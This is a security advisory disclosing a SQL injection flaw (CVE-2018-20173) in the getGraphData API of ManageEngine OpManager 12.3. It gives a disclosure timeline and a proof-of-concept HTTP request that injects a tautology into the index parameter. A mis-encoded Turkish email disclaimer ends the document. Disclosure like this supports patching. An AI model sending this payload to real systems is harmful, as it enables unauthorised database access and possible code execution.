Zoho ManageEngine OpManager 12.3 SQL Injection

`I. VULNERABILITY  
-------------------------  
Zoho ManageEngine OpManager 12.3 before 123238 allows SQL injection  
via the getGraphData API.  
  
II. CVE REFERENCE  
-------------------------  
CVE-2018-20173  
  
III. VENDOR  
-------------------------  
https://www.manageengine.com  
  
IV. TIMELINE  
-------------------------  
20/11/18 Vulnerability discovered  
20/11/18 Vendor contacted  
17/12/2018 OPManager replay that they fixed  
  
V. CREDIT  
-------------------------  
Murat Aydemir from Biznet Bilisim A.S.  
  
VI. DESCRIPTION  
-------------------------  
ManageEngine OPManager product(version 12.3) was vulnerable to SQL  
Injection attacks. A successfully exploit of this attack could allow  
arbitrary code execution or unauthenticated access in databases  
information.  
References: https://www.manageengine.com/network-monitoring/help/read-me.html  
https://bugbounty.zoho.com/bb/info#hof  
  
VII. PoC  
-------------------------  
GET /api/json/v2/device/getGraphData?name=192.168.252.150&policyName=WMI-MemoryUtilization&index=WMI-MemoryUtilization10376381'%20or%20'11'%3d'11&period=Today&withMMA=true&apiKey=XXXXXXXXXX&_=1539935355622  
HTTP/1.1  
Host: vulnerablehost.com  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)  
Gecko/20100101 Firefox/61.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://vulnerablehost.com/apiclient/ember/index.jsp  
OPMCurrentRoute:  
http%3A%2F%2F192.168.252.150%3A8061%2Fapiclient%2Fember%2Findex.jsp%23%2FInventory%2FSnapshot%2FMonitoringDevice%2F192.168.252.150%2FPerfGraph%2FWMI-MemoryUtilization%2FWMI-MemoryUtilization  
X-Requested-With: XMLHttpRequest  
Cookie: JSESSIONID=XXXXXXXXXXX; encryptPassForAutomaticSignin=XXXXXXX;  
userNameForAutomaticSignin=admin;  
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;  
authrule_name=Authenticator; NFA__SSO=XXXXXXXXX;  
opmcsrfcookie=XXXXXXXXX  
DNT: 1  
Connection: close  
  
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Bu mesaj ve ekleri, mesajda   
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kiAi/kiAilere APzeldir ve gizlidir. Bu mesaj   
herhangi bir amaASS iASSin   
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mesajA+-n iASSeriAinin ve eklerinin   
size deAiAikliAe uArayarak veya geASS   
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korunmamasA+-ndan; virA1/4s iASSermesinden ve   
bilgisayar sisteminize verebileceAi   
herhangi bir zarardan sorumlu   
deAildir  
  
  
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